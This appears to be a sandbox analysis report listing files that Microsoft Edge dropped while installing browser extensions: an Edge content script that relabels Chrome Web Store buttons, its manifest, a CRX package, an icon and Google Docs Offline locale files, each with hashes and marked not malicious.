Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir8004_1191422772\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8004_1191422772\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8004_1191422772\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\07d9582c-a071-490c-8844-2023a587d666.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8004_722521091\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

